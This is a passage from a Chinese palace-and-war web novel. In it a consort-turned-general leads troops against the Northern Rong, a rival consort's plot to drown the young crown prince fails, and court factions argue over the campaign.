他是真猛啊,战场上能跟上我的没几个,他算其中之一,就是他这个人吧……”沈安安一时间找不到合适的形容词。 “他一根筋。”楚舒茗接着她的话道。 “对对对,号令大军的人要懂得变通,一成不变容易让人抓住弱点。”沈安安随意把圣旨卷起来,像别刀那样别在了腰间。 “你就放宽心吧,好好在宫里养着,我去了楚州,会跟你保持书信来往的,陛下允了的。” 沈安安说罢从美人榻上站了起来,说是奉命要去椒房殿照顾两日皇后娘娘便离开。 董聂本想临行前给她打声招呼,但没寻到她人,就出宫追上凤州军先行了。 …… 椒房殿内,安乐准备了好些吃的。 因着夜不群要将沈安安派去楚州打仗这事儿,她还跟夜不群生气了,他来椒房殿解释被安乐给赶出去了。 安乐满脸愁容,正生气着,连沈安安也不大愿意理会。 沈安安就蹲在地上,把脑袋放在她的腿上,抱着她的胳膊撒娇卖萌。 别看她在战场上一枪戳穿三个人,在安乐面前就像没长大的孩子似的。 “皇后娘娘,我的梦想就是驰骋沙场,您还没醒的时候,我就跟陛下毛遂自荐过了。 陛下应该早就猜到我是您的妹妹了,他不肯,非要让我照顾您。 我说这话的意思不是不愿意照顾您,我很乐意照顾您的,但如今朝中没有武将了。 您待我这样好,我就挣个军功给您看看,这以后也是您的仰仗嘛,虽然您好像并不需要。” “娘娘,我来还真是想求您帮忙的,等我这次大败了北戎回来,娘娘能不能和陛下册封我为女将军呀? 我不想做后宫被高墙大院困住的嫔妃,我想做披甲上阵的统帅,嘿嘿嘿。” 沈安安光想想就觉得痛快,眉眼弯弯笑着,仿佛在跟安乐讨赏。 安乐心中悲戚,又不忍打破她的幻想,只能唉声叹气。 “横竖本宫说什么你都听不进去。” 沈安安闻言疯狂摇头,表示她说的每个字她都记在心里。 第184章 不服 夜不群不给千人斩,沈安安便连那一千地网也没要,带着夜亦德去追大军了。 大军带着辎重,走的并不是很快,沈安安不出两日便追上了提前三日出发的大军。 “这样蜗牛一样爬,啥时候才能到楚州?” “等到了楚州城外的尸体都该发臭了,董聂,留三万人给你,你们带着辎重慢慢来,我带一万人先行。” “是,娘娘。”董聂应着,命大军停下。 “什么娘娘?叫我将军。”沈安安骑在枭龙背上,纠正着。 “好唉,将军。”董聂改口也改的快。 董聂分了一部分口粮给沈安安带的一万骑兵,他们先行了。 剩余五千骑兵,两万五千步兵,押着辎重随董聂后行。 “玛德,跟个娘们打仗,劳资这辈子还是第一次,她不会带着兄弟们给北戎人送人头吧?”骑在马背上的一名副将开口。 凤州军的其他人也纷纷开始附和。 “兄弟们以前都是跟天缘打,没对过北戎蛮子啊,听说他们打起来毫无章法,见人就砍,那些骑兵个个都身高两米,真的假的?” “我看贵妃把我们的脑袋当西瓜了,我看她这是上赶着去给北戎送资源了,我还听说扎木乃鬼的很,进了草原就跟鬼一样,压根寻不到他的踪迹。” “这你就担心错了,扎木乃现在是西越的走狗,我们真正要对上的是西越人。 北燕郑皇后的贴身侍卫阿扇听说过吧?她就是西越的希图伊雅人,贼踏马能打,刀枪不入的,我听说一刀砍下去不见血,刀都能给反弹回来。” 越说越玄乎。 董聂听不下去了,骂骂咧咧道:“怕死的都滚回京城,他娘的还没见到敌人呢,你们一个个怕的都要尿裤子了,还打个毛啊。” 副将也不给董聂面子,冷声嘲讽:“你个水军,站在陆地上的日子没几天吧?看把你给能的。 你也是去当马前卒的,你还真以为自己是去立功的啊?你们水军的郑将军老想着反,皇上这是杀鸡儆猴。” “老郑家都是反贼嘛……” “劳资忍不了了。”董聂勒马停住,大喝一声捏紧拳头朝着副将挥过去。 副将反应也是快,偏头躲开,拳头擦着他的鼻尖挥过。 不料董聂下马速度很快,抬起一脚就踹在了马身上。 马受惊就要狂奔,副将只顾着控制马,一时分神被董聂抓下了马背。 凤州军其他人看见自己的副将被董聂骑在身上打,直接蜂拥上来,十几个人摁住董聂一顿揍。 董聂是沈安安的副将,可不是他们的副将。 …… 快马加鞭,七日后沈安安他们抵达了楚州,直奔楚州大营。 楚州的百姓自发在大营外搭建了锅灶,给一万大军负责伙食。 吃的原本百姓要自己凑,但沈安安说什么都不肯,便把带来的粮食全都交给他们保管。 为了赶时间,也的确没有带伙夫来。 楚州城外的尸体,军民一起收拾。 起先还骂骂咧咧觉得沈安安净干一些无用功的凤州军,在看到层层叠叠、不完整的尸体大多都是百姓的时候,气的边挖边骂北戎人丧尽天良。 “狗日的,这也下得去手?两军开战不斩百姓,这踏马的不是大家默认的规矩吗?” “将军,直接杀进去吧,这还等啥?北戎蛮子是真当轩辕都是死人啊。” 一声声“玛德”萦绕在沈安安耳边。 但他们骂的最凶的还是楚天明,就算楚天明在他们不远处搬尸体,他们也照骂不误。 看沈安安半天不语,又开始说跟着娘们儿打仗就是没意思,娘们儿磨磨唧唧想的比吃的和拉的都多,年前出战是没希望了。 沈安安走过去,在骂的最凶的一个小兵脑袋上敲了下,当然是没用力的那种。 “再骂我我可要把你舌头割了,后面有你杀的人,你们都是谁带出来的兵啊?咋搞的?像卧不哈的鸡一样。” “我可是我们老将军带出来的兵,启东只会往出扩版图,从来没叫人打的退过。”小兵肩上扛着尸体,特别自豪的说。 楚天明在一旁给沈安安解释,“就是宇文扩老将军,太子的外祖父。” “哦,他啊……”沈安安话还没说完。 小兵的话便接上了,“没错,他就是我们老将军,我是老将军亲自带出来的兵,老将军有多厉害,你问他就知道了。” 小兵冲楚天明扬了扬下巴。 楚天明便道:“老将军确实猛,我跟我爹两个人都打不过,但他不讲武德啊。 谁能想到他还照着人下三路打?乱捏,下手可不留情……” 楚天明省去了千言万语。 小兵:“现在你知道我们老将军的厉害了吧?” 沈安安抓住小兵的肩膀,抬起他的一只手拉着在他嘴上呼呼两个巴掌,力道不是很大。 “老将军老将军,我叫你老将军,现在你是我的兵,你家老将军当叛徒了,现在你归我管。”沈安安道。 小兵一要张口说话,沈安安就拉着他的手拍他的嘴巴,他只能发出“啊啊啊”的声音,根本没办法说出一句完整的话。 沈安安玩上瘾了,小兵却又气又怒,竟被她给欺负哭了。 没办法,沈安安只好掏出糖又哄他。 楚天明简直没眼看她,兀自继续扛尸体。 待他们将战场处理干净,楚州冬天的第一场大雪也来了。 沈安安坐在营帐的椅子上,董聂低垂着头,不肯抬起来。 “怎么了?”沈安安问着他,“把人带到就完事儿了?辎重也不管了,备用马匹也不清点,像个木桩一样杵这儿干嘛?” 董聂哼哼唧唧了半天,不肯承认自己被揍的事实。 “你把头给我抬起来。”沈安安厉声道。 她发威了,董聂这才缓缓抬起头,就见他鼻青眼肿,腮帮子都被打的鼓了起来,像嘴里含了一块大骨头似的。 “谁干的?”沈安安一巴掌拍在桌子上,震的桌上东西全都弹跳了起来。 董聂指着自己对面坐的凤州军副将韩柯,“他跟他的兵一起打的。” “嘿。”韩柯道,“不是都说了这事儿就过去了吗?怎么又提?你要是不骂人,我会打你?” “他娘的,你要是不叫帮手,能打得过我?”董聂嘴一抽一抽的反问。 第185章 一决高下 “我打你还不是因为你该打?天天把反贼挂在嘴上,那你去启南陪反贼啊,跑来这里干什么?”副将怒目而视,坐在椅子上像大爷一样。 董聂也不甘示弱,用满口粗话跟他讲道理。 一时间,营帐里全都是问候祖宗的声音。 楚天明对此见怪不怪,他对沈安安说:“宇文老将军就是个粗人,带出来的兵就这样。” “不过娘……将军,他们这样不合,万一驰援和送辎重的路上打起来耽误了事儿咋办?” 楚天明已经决定了,他要跟着沈安安一起冲锋。 他手底下那些老兵,熟悉草原,便是大雪天气,也不会轻易迷路。 沈安安从椅子上站起身,一步跨过了桌子,左右手抬起来,分别揪住了董聂和副将韩柯的耳朵。 两人疼的呲牙咧嘴,她是真的在用力。 韩柯喷着唾沫星子,“你把我当啥?我又不是你养的狗,你揪我耳朵干啥?” “干毛干。”沈安安把他们从营帐里拽了出来。 大冷的天,两人的耳朵被揪的通红。 沈安安左一脚右一脚,踹在他们屁股上,将他们踹在了雪地里。 雪下的大,地上已经积了雪白一层,便是人在地上打滚,底下的泥也翻不上来。 “动嘴多没意思?直接动手,你们两个都是后勤将,谁赢了谁就是这次后勤的负责人。 输的那个,就在大营里喂马,打赢了也跟他没关系,怎么样?”沈安安看着从地上爬起来的二人说道。 “那不划算。”董聂先开口,“我这次就是冲着军功来的,我肯定是要上战场的,这是亏本买卖。” 韩柯抖了抖身上的雪,“将军……我说娘娘,说大话谁不会?要说这次的主将是楚天明,那兴许还有胜的可能。” “这仗就赢不了,有什么好比的?” 不是韩柯看不起人,是他真没见识过沈安安的厉害。 在他的印象中,最能打的女人就是北燕皇后郑婉婉了,显然沈安安是不会比得过郑婉婉的。 “不敢比你就直说,一群人你能打得过董聂,一个人你不敢了吧?”沈安安使用激将法。 果不其然,韩柯就吃这一套。 董聂还在犹豫呢,他已经大喝着让他做好准备了。 两个人就在雪地里打到了一起,韩柯比董聂还要人高马大,那胳膊上的肌肉鼓起来,看着都要比沈安安的腰粗了。 韩柯下盘很稳,启东以步兵为主,他们的拳脚功夫一直是训练的重中之重。 董聂几个扫堂腿过去,都被韩柯毫不慌张的躲开了。 董聂看正面真有点儿棘手,就把自己灵活的优点发挥到了最大。 又想起了之前对方攻击他下三路的烂招数,这次他也不讲武德。 再次一个扫堂腿,整个人都滑了下去,看在韩柯眼中,就是他没稳住身子要跌倒在地上。 韩柯捏紧了拳头,朝着他的脸就砸下去。 不成想董聂直接脖子一缩,这一拳头结结实实的打在了雪地上。 下一瞬,董聂一只手缠住了他的腿,另外一只手直接去掏鸟。 韩柯脸色霎时间青紫,憋涨的通红,稳如磐石的下盘变的如风中柳絮。 双腿紧闭,双手不知道该往哪儿放?直接侧着滚在了地上。 疼的他本能的想大叫,但面子不能丢,只得咬牙坚持着。 这天杀的董聂,真他娘的下手啊,也不怕把他弄的断子绝孙了。 “嘿,我赢了。”董聂弯腰从地上抓起一把雪,搓了搓手,像是要把手上的什么脏东西搓干净似的。 韩柯缓了好一会儿,才骂着:“董聂,你无耻,你搞偷袭。” “用这种下三滥的招数,我呸,你要不要脸?” 董聂已经站在了沈安安旁边,“赢了不就得了?将军又没规定什么招数不能使用。 再说了,你之前不是也对我用过?我这是一报还一报。” 韩柯脸红的发烫,毕竟沈安安是个女人,他也不好详细描述刚刚发生了什么。 “上了战场,敌人可不会跟你约法三章,北戎和天缘不一样,他们就是一群蛮子。 你们以步兵为主,北戎以骑兵为主,你们天生就是劣势,此次负责支援和押送辎重的任务就由董聂负责了,你还有异议吗?” 沈安安问着。 韩柯本想说不公平,但转念一想,现在他这个样子,就算沈安安再给他一次和董聂较量的机会,他也动不了啊。 “哼。”韩柯一偏头,“我没异议。” “那就好,跟凤州大军说清楚,上了战场就要一致对外,还要绝对听从将领的指挥。 若是做不到这一点,趁早吃饱了打道回府,否则就算跟去了,下场也就是个死。” 沈安安多余的话没说,转身回了营帐。 将大氅披在身上,她往行军床上一躺,帐篷里生着堆柴火。 四万大军的军营里,是用不起炭火的。 沈安安不搞特殊,她也就跟着士兵们一起用木头取暖。 “将军,我先带人去查探情况吧,得等大雪后再进草原,要不然大雪覆盖了来时路,很容易在一望无际的茫茫雪地里迷路的。”楚天明毛遂自荐着。 地图是挂起来的。 沈安安手中拿着一根长长的竹竿,在上面指了指,“冬天下了雪,不会缺水,他们肯定不会在河边。 也不会躲在雪不容易融化的地方,毕竟他们粮草有限。” 沈安安指着一处低洼,“我觉得他们肯定会藏在这里,你觉得呢?” 楚天明看着地图,“这个我也不好说,要么先派人去看看?” 沈安安摇头,“一来一回太耽误时间了,而且有了之前的教训,他们肯定会派人巡逻的。 去的人少了,就平白变成了他们的刀下亡魂,这次进攻,我们不分开,直接率领两万人,直奔这里。” 沈安安在低洼处戳了戳。 “我要把扎木乃活捉,我要灭了北戎,哪怕这一场仗打到过年,楚州实在是不堪其扰了。” 还有另外一个原因,若是不趁着西越人没反应过来时,就将北戎给灭了。 那么明显想跟西越交好的扎木乃,迟早会把这片草原拱手送给西越。 与其后来再去争,不如现在就拿下。 第186章 欲灭太子 楚天明有其他考量,垂眸思索着。 拿下了北戎,谁去镇守? 派的人少了,就变成了西越人的韭菜,只会被一茬一茬的割。 派的多了,西越肯定会觉得边境危险,也会分出兵力来对峙。 要在北戎的土地上建立轩辕的府衙,完成政权的绝对控制,又不知要耗费多少。 圣旨上没写要将北戎给灭了,荣贵妃此举会不会触怒陛下? 他正犹豫着要如何跟沈安安开口,就听见了匀称的呼吸声。 沈安安睡觉也不拘小节,一只腿架起来,比男人还要豪放。 楚天明微微叹息一声,转身离开了。 刚好董聂回来,他便将沈安安的计划跟董聂说了,意在让董聂帮着自己一起劝说沈安安,适可而止就好了,不是要把北戎打下来。 他说的够直白了,可董聂还是会错了他的意。 董聂说:“这不是好事儿吗?打仗如果不是为了开疆扩土,那打的还有什么劲?” “将军有这想法好啊,我就生怕将军没这想法,那我要去跟韩柯商量商量,把他们凤州大军的军饷挪出来买粮草。 楚将军,幸好你提醒了我一声,谢谢你啊。” 董聂说罢,一溜烟的就跑没影儿了。 …… 轩辕京城,失意楼里。 独孤及坐在包厢里,看着正对面的王坡说:“我有点儿放心不下娘娘,听说你是个鬼点子多的。 你帮我想想办法,找个人代替我留在京城,我偷偷去楚州帮娘娘。” 他手里拿着根玉簪子,是一支箭矢形状的,瞧着就是个小型的武器。 王坡闻言,抬手摸了摸自己的脖子,“我可不想掉了脑袋,你也刚躲过一劫,好好在皇上眼皮子底下卖乖才是上上策。” “现在大晟有百里胜管着,近来相安无事的,只是还没过皇上给他的试验期,所以世子你才能高枕无忧。 但若是大晟接下来一直都很稳定,那云州就不再是轩辕西南方向的边疆了,你也不是西南的戍边大将了。 到时候随便一个理由,都能送你下皇权,你在京城要做的事情,就是安分守己。 让京城的达官显贵们都知道,你就是个二世祖,这样哪怕一辈子都困在京城,也比年纪轻轻就丢了性命的好。” 王坡不停的摸着自己的脖子。 这独孤及是个非常危险的人物,还是要把他赶紧打发了。 打发走他,失意楼就关门歇业。 自己只要熬到二殿下弱冠,就能跟着去西南享福了,干嘛非得掺和进这掉脑袋的事情里来? 这娘娘也真是的,什么都跟外人说。 她莫不是真的把世子当成自己人了吧? 王坡想尽办法赶他,他就像是听不懂王坡的话,屁股坐在椅子上动都不动。 夜不群的一味纵容,让赵时意越发的大胆。 她派人等在夜亦天去见夜明的必经之路上,将夜亦天推进了荷花池。 又臭又脏的水,瞬间灌满了全身。 夜亦天手脚并用扑腾着,想要看清是谁对自己下手的,但愣是没在周遭发现任何身影。 他嘴巴一张一合的,远远看上去,就像是荷花池的臭水在不停的往他嘴里灌。 如此反复二十几次后,夜亦天小小的身子沉了下去。 小丫鬟躲在假山后面又等了片刻,见水面上不冒气泡了之后,才悄咪咪的跑回西华宫汇报。 “娘娘,奴婢亲手把太子殿下推下去的,太子不会水,扑腾了没几下就沉底了。” 银铃挥了挥手,示意小宫女退下。 拿了金子的小宫女,喜笑颜开的退出了屋子。 赵时意问着银铃,“东栾宫的小太监,收买好了吗?” 银铃道:“娘娘放心,给了小太监十两金子,他会认下所有,然后一口咬定是楚妃指使他的。” “这小太监是我挑了许久的,他家中有个十岁的弟弟,患了病,正等着银子救命呢。” 赵时意脸上出现困倦,“靠得住就行,别闹到陛下跟前儿去了,他又改口,那就真要命了。” 伊琳微微一笑,“我找他的时候,说自己是宣明宫贤嫔宫里的人,就算他改口,也威胁不到娘娘。” “你倒是聪明。”赵时意满意道。 “娘娘谬赞。”银铃恭恭敬敬的站着。 “这样不管荣贵妃是吃了败仗还是打赢了建立功勋,她跟楚妃的关系都破裂了。 楚妃想仗着楚天明重获圣宠,简直是痴人说梦,有本宫在,岂能叫她冒头?” “贤嫔嘛,在陛下面前露面的次数多了,也越加放肆了,竟然把丰庆郡主留在宫里十来日。 她以为自己有了圣宠眷顾,便能在这后宫当家做主了,本宫就是要让她出其不意。” 赵时意今日心情好,起身往美人榻上一躺,让银铃给自己盖了条毯子。 银铃蹲下来,给她捏着腿,“楚妃和贤嫔两个贱人,竟然妄想跟娘娘争宠,她们就是贱胚子,也配?” “娘娘这一招,就将她们两个都除掉了,皇后身子虚弱,不能侍寝;皇贵妃又得罪了陛下,荣贵妃远去楚州打仗了。 待会子太子溺死的消息在宫中传开,接下来就该娘娘您陪在陛下身边了。” “皇贵妃那种人,能教出什么好孩子?日后……还不是娘娘您说了算?” 银铃已经彻底忘本,效忠于赵时意了,整天溜须拍马的话说个不停。 赵时意还挺受用的。 “好些时辰了,该有人发现了吧?”赵时意问着。 “太子是受了倾兰宫的传召,去给三殿下陪读的,倾兰宫见不到人,肯定会派人去寻。”银铃回着。 这么说,就是不想自己跑一趟。 谋杀太子,那可是诛九族的大罪。 大狱是什么地方?没错的人进去也要脱一层皮,还是离这件事儿越远越好。 倾兰宫的人发现,那就让倾兰宫的人去遭受审问,这时候躲在西华宫里当没事发生就是最明智的。 如此又等了半个时辰,赵时意脸色越来越难看了。 “这么久了,也该有消息传出来了。”赵时意声音翛然变冷,困意也没了。 “就是说,莫非是倾兰宫压根就没派人去寻?那荣华宫的人也该出动了啊。”银铃一副认真思索的模样,实际上就是在敷衍。 第187章 惩治 赵时意放心不下,让银铃将小宫女派出去看看情况。 可这一去,小宫女也不回来了。 约莫等了两刻钟,赵时意坐立难安,她甚至连银铃也不相信了,亲自去御花园。 她刚到,就看见夜亦天全身湿漉漉的坐在荷花池边的石头上。 水池里面朝上浮在水面上的,正是自己宫里的小宫女。 她正欲转身离开,却见独孤若兰和李含萱同时来了,待她再回头时,夜亦天同她对视了一眼,扑通一下就滑进了水里。 下一刻,他在水里挣扎着,大喊着救命。 独孤若兰听见声音,快步走了过来,就看见那又臭又脏的池水,正猛地灌进了夜亦天的嘴里。 独孤若兰忙让几个小太监,跳了进去,将夜亦天和尸体都捞了出来。 李含萱脸色难看,拿着帕子捂着自己的嘴,她不知道发生了什么。 但直觉告诉她,这一趟跟着独孤若兰出来是错误的决定。 夜亦天晕了过去,这可是大事儿,独孤若兰不敢马虎,她命令着:“青禾,快去请陛下。” “也快请御医,可千万不能让太子殿下出事儿。” 青禾忙应下,吩咐一个宫女去太医院了,她则是一路跑着去请夜不群了。 这下赵时意想走也走不了了。 御医来的比夜不群快,蹲在地上给夜亦天按压着胸部,不敢用太大的力气,毕竟是个小孩子,要是将太子的胸骨给摁断了,陛下追究起来,那可是要掉脑袋的。 夜亦天把握的刚刚合适,不至于让自己淹死,但御医救起来也要费一番功夫。 如此一来,即便宁妃攀咬她陷害,那也要掂量掂量。 “幸好娘娘宫里的人来的及时,否则太子殿下性命危险。”御医可谓是废了九牛二虎之力,才将夜亦天给救醒了。 他吐了好些水,地上都湿了一大片,身上还沾着淤泥。 这模样一看,就是险些被拖进了池塘底。 小宫女已经没救了,但御医还是象征性的检查了一番,然后摇了摇头,宣告了结果。 见夜亦天醒了,独孤若兰也松了一口气,她这才看向赵时意,厉声道:“大胆宁妃,你竟然敢谋害太子,你是要造反吗?” 赵时意是没想到独孤若兰胆子这样大,竟敢直接给自己扣这样大的罪名。 她登时反驳,“皇贵妃,你休要胡说八道,本宫怎么会对太子下手?本宫看你就是血口喷人,想要借机铲除异己。” “你的宫女和太子一起掉进了池塘,你敢说跟你没关系?”独孤若兰厉声反问。 “这便是娘娘的断案方法吗?那本宫还说她是被人收买了,宫女都是皇宫里教养出来的,谁知道她之前跟哪个关系要好?”赵时意急于撇清自己的关系。 她给银铃使了个眼神,银铃立马心领神会,寻到机会去请定国侯了。 夜不群没来,来的人是定国侯。 独孤若兰坚持要将西华宫的人押去审问,赵小高却说此事他会调查清楚,让独孤若兰不要费心了。 他命地网将人送回了倾兰宫。 至于夜亦天,他则是让御医送回了荣华宫。 秦嬷嬷和莲花看见夜亦天的狼狈样,顿时大惊失色。 秦嬷嬷上了年纪,一着急就先红眼眶,话还没说出口呢,眼泪先掉了下来。 “殿下,好端端的怎么就掉进了池塘?奴婢该死,奴婢应该时刻陪着殿下的。” “发生了这样大的事情,陛下肯定会为殿下主持公道的,奴婢这就去找陛下……” 秦嬷嬷和莲花你一言我一语,看的出来是真的着急夜亦天。 可他们的命,在这后宫不值一提。 即便再怎么着急和义愤填膺,也只能嘴上说说。 夜亦天摆了摆手,什么都没说,示意秦嬷嬷和莲花下去。 一直负责贴身伺候他的宫女和太监,跟着他到了自己的房间,紧张又有序的给她沐浴更衣。 …… 西华宫里。 “啪,啪。”是两道鞭子凌空的响声。 赵小高捏着马鞭,抽在了赵时意的背上。 银铃更惨,已经被打的趴在地上有气无力了,侯爷下手,是真的冲着不给她活路去的。 赵时意背上赫然出现两道血淋淋的伤口,衣服也被打烂了,鲜血渗出来。 赵时意不甘心的抬眸看向赵小高,她还要侍寝的,义父下手一点儿轻重也没有,恐怕是要留疤痕了,她日后还怎么面对陛下? “你好大的胆子啊,如今手都伸到皇嗣身上了,下一个,是不是要把我这块拦路石碎了?”赵小高定定站着,居高临下的看着赵时意,颇有些恨铁不成钢。 “义父,女儿不知做错了什么。”赵时意垂下眼睑,不与赵小高对视了。 进了宫,不争宠,那要她干什么? 她要是没有陛下的宠爱,怎么除掉荣贵妃杀了楚妃? 义父不知她在宫里举步维艰,陛下处处防着她,甚至都不让她近身,连李含萱那个贱人都能到陛下跟前儿伺候,可是她呢?她连见陛下一面都难。 反正陛下又不在乎太子,义父也说过太子不过就是用来磨砺三殿下的,迟早逃不过一个死。 既然是死,那么早死晚死有什么区别? “你简直是……”赵小高抬起的鞭子,终究是犹犹豫豫没再落下。 赵时意却说:“义父,女儿不觉得自己做错了,女儿的想法至今都没有变过。” “如今义父动手,就证明我已经是个废人了,义父便杀了我吧,但我还是要说,我所求和谋划的,都是为了义父。” “谁要你谋划了?”赵小高就差气的吹胡子瞪眼了。 早知道,就不把赵时意送进宫里来了。 赵小高到底顾念着她,但咽不下的一口气总要找个宣泄口,于是鞭子又挥到了银铃身上。 “我把你送进宫,就是让你跟她合谋怎么杀太子的?你每次给我传出宫的都是什么消息?啊?阳奉阴违,可算是让你学会了。” 银铃什么都不敢说,被打也要跪下来,她可没有赵时意那么好命。 赵时意不过也就是个乞丐,现在摇身一变都成娘娘了,小时候她跟自己有什么区别? 这就是命吧,横竖万般不由人。 第188章 众矢之的 赵小高还要动手,赵时意拦在了银铃身前。 再这样打下去,要出人命了。 比起别的宫女,银铃还是很靠谱的。 既然陛下将处理这件事儿的权力交给了义父,那就证明独孤若兰也拿自己没办法,代表着陛下不追究了。 而与此同时,倾兰宫里,独孤若兰将发生的一切都告诉了夜明。 夜明赶来时,已经晚了。 “荣贵妃回来之前,还是不要叫太子殿下陪我了,骑射和功课我自己都可以。”夜明说道。 他抬眸看向李含萱,道:“还要请兰娘娘和贤嫔娘娘,在父皇跟前儿替太子殿下说说话。” 如今能在夜不群面前说上话的,也就只有李含萱了。 李含萱点了点头,回着:“殿下放心。” 独孤若兰一副若有所思的模样,后知后觉的开口:“这宁妃胆子也太大了,居然在御花园就对太子动手,莫不是受了定国侯的指使?” “她之前三番四次的用那美人香,是想怀上龙嗣吧?陛下怎的还不惩治她? 明儿,本宫怎么觉得这后宫最受宠的人其实是宁妃?陛下就算给定国侯面子,也不用这样吧?” 独孤若兰心想,若真是这样,恐怕定国侯也会帮着宁妃,好让她一朝得宠,然后称霸后宫。 “明儿,陛下会不会还在生本宫的气?你要多跟陛下说说,本宫心里最紧要的人还是你。 世子那事儿,那是本宫要还王妃的恩情,自从上次之后,陛下就再也没见过本宫了。” 本来独孤若兰也不明白夜不群为什么赏赐她,还是李含萱好心提醒了她一声。 她也出宫见了一次世子,世子直接告诉她,以后西南的事情都不用她操心了,他何从何从自己自有安排,不用她操心。 独孤若兰这才后知后觉反应过来,又想起沈安安提醒过她的话,但等她想明白时,事情已经发生了。 她只能尽量的挽回损失,但好像效果并不是很好。 夜明都不想回这话,他能见到父皇的机会也不多,父皇如今所有的心思都扑在了母后身上。 李含萱总隐隐觉得有事儿要发生,为了避免,她在倾兰宫待到了很晚才离开。 回到宣明宫,她也没有睡意,沐浴完后便躺在美人榻上。 点着熏香,她自己拿着一把扇子,天气转凉了,夜风从窗户缝里吹进来都会觉得冷。 但李含萱觉得这样还不够,她用扇子给自己扇着风,凉意能让她持续的保持清醒。 今日在倾兰宫听了许多独孤若兰的废话,脑子快成一团浆糊了。 怎么就那么巧,刚好让她也碰到了这事儿? “娘娘,咱们宫里少了个小太监,叫小文子,奴婢派人出去寻了,可是没寻到,不知是不是跌进哪口枯井里不幸没了。”芍药看李含萱神色凝重,开口说着。 李含萱眉头皱的更紧了,“什么时候没的?” “听他们说,白天的时候就找不到了,咱们宫里就三个太监,他刚被娘娘提拔,做了管事儿,没想到……” 李含萱停下了手里的动作,芍药也懂事儿的没再继续往下说。 “看来太子殿下一直都在扮猪吃虎啊。”李含萱有些坐立不安,起身后便在屋子里踱来踱去。 “陛下也没废了他的太子之位,他何必这样小心翼翼的钻营?”芍药顶着一头的雾水,开口道。 “他不钻营,如何保命?首辅和定国侯肯定是支持三殿下的,皇贵妃有一句话说的没错,若没有定国侯的首肯,宁妃哪里敢做这样以下犯上的事儿?”李含萱道。 芍药定定的与她对视,“莫非真如皇贵妃说的,最受宠的人是宁妃?” “那皇贵妃还让娘娘您想法子阻止宁妃受宠,这不是逼着娘娘去险地吗?这可使不得啊娘娘。”芍药满目担忧。 李含萱把扇子搁在了桌子上,“无论如何,都不能让他怀上皇嗣,我也该去椒房殿走动走动了。 待过几日楚州的捷报传来,陛下的心情好了,我就寻机会去椒房殿拜见。” …… 人算不如天算。 一个月过去了,楚州传来的不是捷报,而是凤州军败了的消息。 夜不群上朝了,朝堂上皆是对沈安安挂帅出征的不满,男子当权的朝堂,本就容不下女子建功立业。 沈安安前两次的成功和收获,在这次的失败面前显得是那样的渺小,渺小到不值一提。 早就心生不满的那些言官,在朝堂对沈安安那是冷嘲热讽,说古往今来就没见过哪个后宫嫔妃上战场打了胜仗回来的。 言语里都是在责怪夜不群,把凤州军的性命当儿戏。 而对于之前楚州经历的种种,他们绝口不提,仿佛那些都从未发生过。 他们吃喝拉撒都在京城,没去亲眼看过边境,所有的苦难和牺牲都化作了军报和折子上的三言两语,初听时震耳欲聋,可风一吹,睡一觉,那些反馈便犹如东逝水,一去不返了。 “那依你们看,派谁去合适?”夜不群也不生气,等他们吵够了,发出灵魂反问。 本来大家都要推荐赵小高的,但赵小高身体抱恙,连镇守朝夕城的任务都交给了手底下人。 他每日都需要御医调理身体,众所周知,毕竟赵小高是天子近臣,他们总不能逼着让赵小高上阵,万一死在了战场上怎么办? 陛下到时候又该说,他们是非要砍掉他的左膀右臂了。 剩下的就只有首辅了,可首辅管着国家大事,把他派去了楚州,又近年关了,户部没有一个铜板,他们的俸禄跟谁要去? 全场静默,大家默契的没再出声。 夜不群看着底下的众人,心绪复杂。 他自问从摄政以来,便是兢兢业业的,挑选的人也是层层选拔,从底层寒门里出来的。 如今怎么整个朝堂都沆瀣一气了?这对一个国家来说,是致命的、也是危险的。 但要把他们全都拉出去斩首了吗?那也不能,全都是花费银子好不容易才培养出来的。 每年科考的花销就是一大笔银子。 可白花花的银子花出去,不见一个有用之人,换做谁都会心里不舒服的。 第189章 一叶障目 夜不群也不生气发作,端坐在龙椅上,不怒自威道:“这也不行那也不行,让你们想法子你们就百般推脱。” “依着你们的意思,最好是朕御驾亲征?那也行啊,朕让你们推举几个人,把内阁给办起来,连个名单你们都拿不出来。 万一朕死在了战场上呢?你们哪个有能让朕放心托孤的本事?不妨现在就毛遂自荐吧。” 他这话一出,底下的大臣们接连跪在了地上,砰砰的磕头。 但让这些读书读成呆子的顽固改变想法,也不是件容易的事儿。 双方的抗衡,最终以魏大贤将朝臣们赶出大殿而结束。 夜不群没有回勤德殿,也没有去椒房殿,而是在大殿外的汉白玉阶上上上下下。 仿佛在重新感受走到如今这个位置上的来时路,魏大贤陪在一旁。 “今年西边的雪比往年大,娘娘此番失利情有可原,毕竟她是在南边长大的,不熟悉西边的天气。”魏大贤看夜不群脸上是愁容,说着宽慰的话。 早知道这样,就派个钦天监的人,跟随沈安安一道儿出发了。 她去了楚州,就像脱缰的野马,凤州大军也是拴久了的豺狼,一放出去,很难收住,沈安安能不能降住都是两回事。 夜不群心里清楚,首战败了,十有八九是沈安安拿凤州大军没办法。 凤州大军自从收归朝廷,一直就养在京郊大营,再没上过战场。 若是这一次沈安安不能将其降服,那么留在京城剩余的十六万,就是个隐患。 除还是留,就看楚州这一次了。 …… 前朝不安稳,后宫也在勾心斗角。 夜亦天终于逮到机会,见到了李含萱。 “贤娘娘见孤也要带人?这般防范孤,莫不是陛下的意思?”夜亦天瞥了眼落后李含萱半步站着的芍药,缓缓开口。 他的声音稚气未消,语速很慢,单从话里是听不出敌意的。 李含萱示意芍药退下。 芍药虽不放心,但也不会忤逆李含萱的意思。 太子殿下心机深沉,他不愿意做三殿下的陪读,可皇命难违。 恰好宁妃动了要除掉他的心思,即便他之前没有察觉,但事情发生后他随机应变,打了宁妃一个措手不及。 不光如此,宣明宫的小文子也不见了。 李含萱心中思索着,福身朝着夜亦天行礼。 他即便只是名义上的太子,可这名义也尊贵万分,她得行礼。 “不知太子殿下有何赐教?”李含萱谦虚的开口。 “哪里敢赐教?是来虚心求教。”夜亦天道。 “这可不敢当。”李含萱推脱着。 夜亦天步步靠近,“母妃不在宫里,孤每日都寝食难安,不巧,那日濒死时,碰见了小文子。” 李含萱找了许久都没找到人,连尸体也没发现。 她怀疑过是夜亦天把人藏起来了,但宫中千人斩随处可见,她又觉得夜亦天没有这样的本事。 于是转而猜测是赵时意把人除掉了,宫中的禁卫是地网,地网听命于定国侯,太子被谋杀这样大的事情,愣生生让定国侯压在后宫里了。 定国侯要保宁妃,那么替她处理一个小太监,真能做到悄无声息。 时间过去的久了,李含萱也渐渐不把这事儿放在心上了。 